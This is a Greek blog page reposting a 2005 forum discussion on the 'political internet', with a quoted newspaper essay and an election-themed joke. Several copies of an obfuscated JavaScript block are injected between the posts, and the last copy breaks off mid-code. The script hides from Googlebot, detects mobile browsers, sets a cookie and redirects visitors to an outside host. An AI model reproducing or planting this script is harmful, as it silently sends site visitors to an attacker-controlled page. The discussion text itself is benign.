2. Οι χρήστες του «μέσου» πρέπει να έχουν ένα αρκετά μεγάλο βαθμό εξοικείωσης με το «μέσο» ( ανάλογα το μέσο βέβαια, αλλά μιλώντας για κάτι σαν το internet νομίζω οτι ισχύει. Η μητέρα μου που ξέρει ν’ανοίγει το browser μόνο αν υπάρχει shortcut στο desktop θα αργήσει να βρεί sites με «πολιτική» υπόσταση )

3. Πρέπει να υπάρξει η συλλογική παράλληλη διαπίστωση οτι «κάτι πάει στραβά εδώ«. Να υπάρξει θέληση για αλλαγή, και μάλιστα απο ένα μεγάλο μέρος χρηστών του «μέσου«.

Και επι του προκειμένου …

1. Το internet είναι αρκετά διαδεδομένο ( ανα τον κόσμο ), αλλά κυρίως σε χώρες και λαούς οι οποίες ανήκουν στο δυτικό κόσμο (γεωγραφικά, αλλά κυρίως πολιτικά/πολιτισμικά ). Η πλειοψηφία αυτών των χρηστών αποτελούν ναρκωμένο κοινό, μέρος του όποιου προβλήματος λόγω άγνοιας της ύπαρξής του. Θα αργήσουν να συνειδητοποιήσουν και να καταλήξουν στο αν/οτι υπάρχει «πρόβλημα«.

Τοπικά στην Ελλάδα .. το ξεχνάμε επιτόπου. Οι χρήστες του internet είναι σε μεγάλο βαθμό  φοιτητές (δεν ξέρουν, δεν τους νοιάζει), επαγγελματίες του χώρου ( είναι μέσο για να κάνεις τη δουλειά σου ), ή  σχετικά εύποροι χρήστες ( είμαστε πάνω απο το μέσο όρο, δεν τρέχει τίποτα στραβό, να βγάλω κι άλλα λεφτα να πάρω καλύτερο αυτοκίνητο/σπίτι/εξοχικό/σκάφος )

2. Ο μέσος χρήστης του internet δεν έχει επίγνωση της πιθανής δύναμης του μέσου. Το χρησιμοποιεί για chat, contra.gr, movies κτλ κτλ

3. H επίγνωση δε χρειάζεται το internet για να έρθει. Αν το μυαλό σου δε θέλει να συνειδητοποιήσει, ότι και να διαβάσεις  οπουδήποτε δε θα σε μεταπείσει.

Υπάρχει μια βασική ανάγκη για διαφορετική νοοτροπία, η οποία δε θα καλυφθεί απο περισσοτερο internet, θα καλυφθεί απο περισσότερη κριτική σκέψη. Το πως καλλιεργείς σε ένα λαό ( ή ακόμη και σε έναν πλανήτη) την κριτική σκέψη … είναι άλλου παπά Ευαγγέλιο. Ζείς σε έναν πλανήτη ο οποίος τείνει να ακολουθεί λιγότερα απο 3 πρότυπα πολιτισμού, και τα κράτη τα οποία κρατάνε τα ηνία σε οικονομία, ενημέρωση και εκπαίδευση είναι αν όχι μέρος του προβλήματος, ΤΟ ΙΔΙΟ ΤΟ ΠΡΟΒΛΗΜΑ. Οπότε .. ανοίγεις Κρυφά Σχολιά ;;; ( Ρητορικό … )

Μια ακόμη απάντηση στο θέμα:

 

Μήπως κάτι δεν καταλαβαίνω καλά; Η ανάγκη για μια πολιτική κίνηση έρχεται όταν δεν μας καλύπτουν οι υπάρχουσες πολιτικές. Πολιτικές, you know, αριστερά, δεξιά, ΠΑΣΟΚ, ΝΔ, ΣΥΝ, ΚΚΕ κλπ. Έρχεται όταν δεν σε εκφράζει σε ικανοποιητικό βαθμό κάτι απ’ όλα αυτά και νιώθεις ότι υπάρχει ανάγκη για κάτι νέο. Ο τρόπος που θα οργανώσει την πολιτική του κίνηση ο καθένας, ο τρόπος που θα την κάνει γνωστή, τα εργαλεία που θα χρησιμοποιήσει, τι σχέση έχουν με την ίδια την πολιτική; Το ότι το internet είναι ένα εργαλείο από το οποίο κάποιος που κάνει μια πολιτική κίνηση μπορεί να επωφεληθεί πολύ, για εμάς τουλάχιστον, είναι ευκόλως εννούμενο. Η πολιτική που προτείνεται όμως ποια είναι;

Βρήκαμε μια high-tech τσάπα που μπορεί να σκάψει στο μισό χρόνο. Και λέμε «με τέτοια τσάπα που έχουμε μπορούμε να κάνουμε χρυσές δουλιές…». Το θέμα όμως είναι να βρεις που θα σκάψεις. Μήπως πρώτα πρέπει να καθορίσεις το που θα σκάψεις και τι θα φυτέψεις και μετά να ψάξεις να βρεις τα εργαλεία που θα σε βοηθήσουν;

Το πολιτικό ίντερνετ 3 

Απαντήσεις
1.Το «μέσον» έχει τις αδυναμίες που περιγράφει ο angel και θα συμφωνήσω. Η συζήτηση που ανοίγω έχει σκοπό να προβάλλει κι άλλες απόψεις.
2.Κύριε Χ. .Το «εργαλείο» δεν είναι ένα αντικείμενο σε αναμονή για να χρησιμοποιηθεί απο τον άνθρωπο. Το εγαλείο αποτελεί κομάτι της ανθρώπινης σκέψης. Σε βάζει στον πειρασμό να το χρησιμοποιήσεις για να πάει η ζωή σου ένα βήμα παρακάτω. ( Η πρόταση για τον αφοπλισμό των αμερικάνικων νοικοκυριών είναι ότι το όπλο κάποια στιγμή μέσα στο σπίτι θα κάνει ένα φόνο.) Δηλαδή το έργαλείο θα χρησιμοποιηθεί γιατί η ζωή είναι έτσι που θα σε φέρει στην κρίσιμη στιγμή να το χρησιμοποιήσεις. Κανένα εργαλείο δεν είναι άψυχο αντικέιμενο. Είναι αντικείμενο με προοπτική.
Παραθέτω απόσπασμα απο το βιβλίο του Ούλριχ Μπεκ, (γερμανός κοινωνιολόγος) Τίτλος «Πέρα από τη Δεξιά και την Αριστερά»
» Οταν καταρρέουν οι θεσμοί χιονοστιβάδες πλακώνουν τους ανθρώπους. Αν μάλιστα η κατάρρευση των θεσμών δεν αντικαθίσταται απο καινούριους που θα μπορούσαν να αφομοιώσουν τα σύγχρονα δεδομένα , αρχίζει η φυγή στη μασκαράτα των παλιών βεβαιοτήτων. Κι είναι αλήθεια πως οι άνθρωποι αναζητούν στηρίγματα σε εννοιολογικά δεκανίκια του παρελθόντος , παρ’ ότι καταλαβαίνουν πόσο ανεπαρκή είναι.
Ασ μη λησμονούμε επίσης πως οι όροι «δεξια» και «αριστερά» εξυπηρέτησαν και υπήρξαν εν αρμονία με την με την βιομηχανικοκοινωνική πολιτική , ενώ σήμερα η εξάπλωση του ιδιωτικού τομέα και η θωράκιση του ατόμου τους κάνει να φαντάζουν σαν ξεθωριασμένες απο τον χρόνο ζωγραφιές.

 

Το πολιτικό ίντερνετ (συνέχεια)

Αγαπητοί φίλοι νομίζω ότι το θέμα που έχω ανοίξει προς συζήτηση κρατάει τις αποστάσεις από τα γνωστά περί πολιτικής πρότυπα . Η απόπειρα που κάνουμε εδώ (όλοι μαζί , γιατί κανείς δεν είναι ειδικός ) να δούμε τον καινούριο κόσμο είναι ένα βήμα για να δώσουμε απαντήσεις στην απροσδιόριστη σημερινή κατάσταση , όπου η ανασφάλεια των πολλών αποτελεί αντικείμενο εκμετάλλευσης από τους «επιτήδειους».
Οι αυθόρμητες απαντήσεις που δόθηκαν έχουν εξαιρετικό ενδιαφέρον , με βάζουν όμως στο πειρασμό να σας ζητήσω «δευτερογενείς» απαντήσεις , αν θα είχατε την ευκαιρία (το χρόνο) να φανταστείτε πως θα μπορούσε να είναι ( ή να μην είναι , αν το θεωρείτε ανέφικτο) μια διαδικτυακή πολιτική κίνηση. Θα μπορούσα να διευρύνω το ερώτημα και να πω , πως βλέπετε την διαδικτυακή νοοτροπία να κερδίζει περισσότερο ίσως από το χρόνο μας ή να αποκτάει μεγαλύτερη σημασία για τη ζωή μας ;

Απάντηση απο τον χρήστη Χ.

 

Μήπως να μας δίνατε ένα πιο συγκεκριμένο παράδειγμα πολιτικής κίνησης; Πχ, εννοείτε να βγάλουμε «θέσεις» και «προγραμμα» και να κατέβουμε στις εκλογές με συγκεκριμένους στόχους;

By the way, μήπως να μην αλλάζατε συνεχώς το θέμα αυτής του συζήτησης; Το ξέρω ότι το πεδίο είναι ανοικτό και παραπέμπει σε αλλαγή του τύπου email message, η αλλαγή δυσκολεύει τα προγράμματα διαχείρισης αλληλογραφίας από τό να ομαδοποιήσουν όλα τα μηνύματα της συζήτησης μαζί. (είναι αρκετά βολικό αυτό ώστε όταν οι χρήστες βλέπουν μια απάντηση στο mailbox τους, να εμφανίζονται από κάτω και όλες οι προηγούμενες συνομιλίες)

 

(…πριν συνεχίσουμε συτή τη συζήτηση μπήκα στον πειρασμό να σας μεταφέρω ένα κείμενο που διάβασα το σαββατοκύριακο )
Το παραλήρημα ενός ψηφιακού πολίτη.

Σκέφτομαι πως οι άνθρωποι που καταφέρνουν να ασκήσουν επιρροή στην κοινωνία διαθέτουν κάποιο χάρισμα που πιθανότατα να μη είναι και τόσο ανεξήγητο όσο φαίνεται. Η μουσική για παράδειγμα που έχει απόλυτη σχέση με την φιλοσοφία των μαθηματικών , έχει τη δύναμη να κατευθύνει συναισθηματικά τους ανθρώπους , να τους παροτρύνει με το χορό και το τραγούδι στη μέθεξη και στην υποταγή ενός αρμονικού βιώματος. Οι αντιθέσεις , οι διαφορές , οι διαμάχες συνυπάρχουν ισορροπημένες , με ίσα ή άνισα φορτία αλληλοεξουδετερώνονται με απόλυτη φυσικότητα στο πλαίσιο μιας αυθαιρεσίας που λαμβάνει χώρα.
Είναι εφοδιασμένη η ανθρώπινη φύση με την ανάγκη να νιώσει την ολοκλήρωση μέσω της εμπειρίας. Η γνώση που παρέχεται με πληροφορίες διαφέρει ποιοτικά από τη γνώση που προκύπτει από την εμπειρία. Σε κάθε πτυχή της ζωής επαληθεύεται αυτή η αλήθεια , ακόμα και στην επιστήμη , όπου η διακίνηση της γνώσης γίνεται μέσω πληροφοριών , μεγάλα πνεύματα άνοιξαν το δρόμο με τη διαίσθηση και την έμπνευση που προϋπήρξε της επιστημονικής απόδειξης.
Που θέλω να καταλήξω; Η ικανότητα κάποιων ανθρώπων να οδηγήσουν την ομάδα στην πρόοδο ή στην καταστροφή νομίζω ότι βρίσκεται σε μια εσωτερική βεβαιότητα που τους προβάλλει την ανάγκη να το κάνουν πέρα από τη φιλοδοξία και την ιδιοτέλεια. Υπακούν σε μια μουσική που διαρρέει από άγνωστη πηγή ως τα αυτιά τους. Χωρίς απορίες βιώνουν μία χάρη συντονισμού με το άπειρο. Αυτή είναι όμως εμπειρία που δεν κληρονομείται και δεν μεταφέρεται.
Η γοητεία των ηγετών έγκειται στη σιγουριά τους γι αυτό που αντιλαμβάνονται. Ο ρυθμός η μελωδία το ύφος της μουσικής που ακούν και που χορεύουν , παρασύροντας και τους υπόλοιπους είναι αυτό που τους κάνει οδηγούς. Όλα δείχνουν πως σήμερα οι ηγέτες κρύβονται. Επιτήδειοι διαχειριστές πληροφοριών τους αντικατέστησαν σε όλα τα πεδία.
Στο χώρο της τέχνης , κάθε έργο οποιασδήποτε μορφής από γεγονός μετατράπηκε σε μια ακόμα πληροφορία. Πολύ συχνά , δε, η αλήθεια των δημιουργών καταπνίγεται από τον πανικό της κατανάλωσης πριν ακόμα διατυπωθεί. Ελάχιστες εξαιρέσεις επιβεβαιώνουν τον κανόνα. Στην πολιτική τα γεγονότα πλάθονται από τα ΜΜΕ , διογκώνονται δηλώσεις , αντιδράσεις σε βαθμό παραμόρφωσης αδρανοποιούν την πολιτική βούληση , αν αυτή υπάρχει.
Η εικόνα της παγκόσμιας δημοκρατίας είναι πια ένα συναθροισμένο αγοραφοβικό πλήθος που αντιδρά αντανακλαστικά χωρίς σκέψη. Η επιβίωση είναι το ζητούμενο και οι επιλογές είναι αυτόματες , ψηφιακού τύπου.
Καταρρέει ο καπιταλισμός από τις ίδιες του τις αντιφάσεις; Κανείς δεν μπορεί να ξέρει. Οι μεγαλύτεροι διανοητές διαψεύστηκαν ο ένας μετά τον άλλον. Οι φωτισμένοι οικονομολόγοι της γης συντηρούν το θαύμα της παγκόσμιας ανάπτυξης με νύχια και με δόντια. Είναι σαν αυτό που λένε οι γιατροί : Η εγχείρηση πέτυχε , ο ασθενής απεβίωσε.
Θοδωρής Αθερίδης. ΤΑΧΥΔΡΟΜΟΣ 3-12-2005

Η συζήτηση δημοσιεύτηκε στο dotnetzone το 2005

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Προεκλογικό ανέκδοτο.

         Πετάς με ένα αεροπλάνο πάνω από την έρημο. Κάθεσαι δίπλα στο παράθυρο και βλέπεις ότι το σκάφος βρίσκεται στο κέντρο της ερήμου. Τίποτε ζωντανό για πολλά χιλιόμετρα τριγύρω.        Και τότε συμβαίνει αυτό που γίνεται και στα ανέκδοτα. Χαλάνε οι μηχανές. Το αεροπλάνο πέφτει και σώζεσαι μόνο εσύ και ένα  παιδί.        Απομακρύνεσαι από τα συντρίμμια που καίγονται ακόμα . Περπατάς με το παιδί δίπλα σου κάτω από τον καυτό ήλιο. Το παιδί κάνει πολλές ερωτήσεις. Μετά διψάει. Μετά πεινάει. Εσύ ξέρεις ότι δεν υπάρχει τίποτε εκεί γύρω. Το τέλος είναι αναπόφευκτο.        Πως θα εξηγήσεις στο παιδί τι πρόκειται να συμβεί ; Το πιθανότερο είναι να μη αντέξει και να πεθάνει πριν από σένα. Αλλά πριν συμβούν όλα αυτά θέλει να μάθει. Φυσικά πιστεύει ότι εσύ δεν θα του έκρυβες ποτέ την αλήθεια.

Τώρα βάλε τον εαυτό σου στη θέση του πρωθυπουργού και γίνε εσύ το παιδί. Περίμενε λίγα λεπτά να νιώσεις τη ζέστη , τη δίψα και την καυτή άμμο στα πόδια σου. Νομίζω πως είσαι έτοιμος. Πάρε την ταυτότητα και πήγαινε να ψηφίσεις.   

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 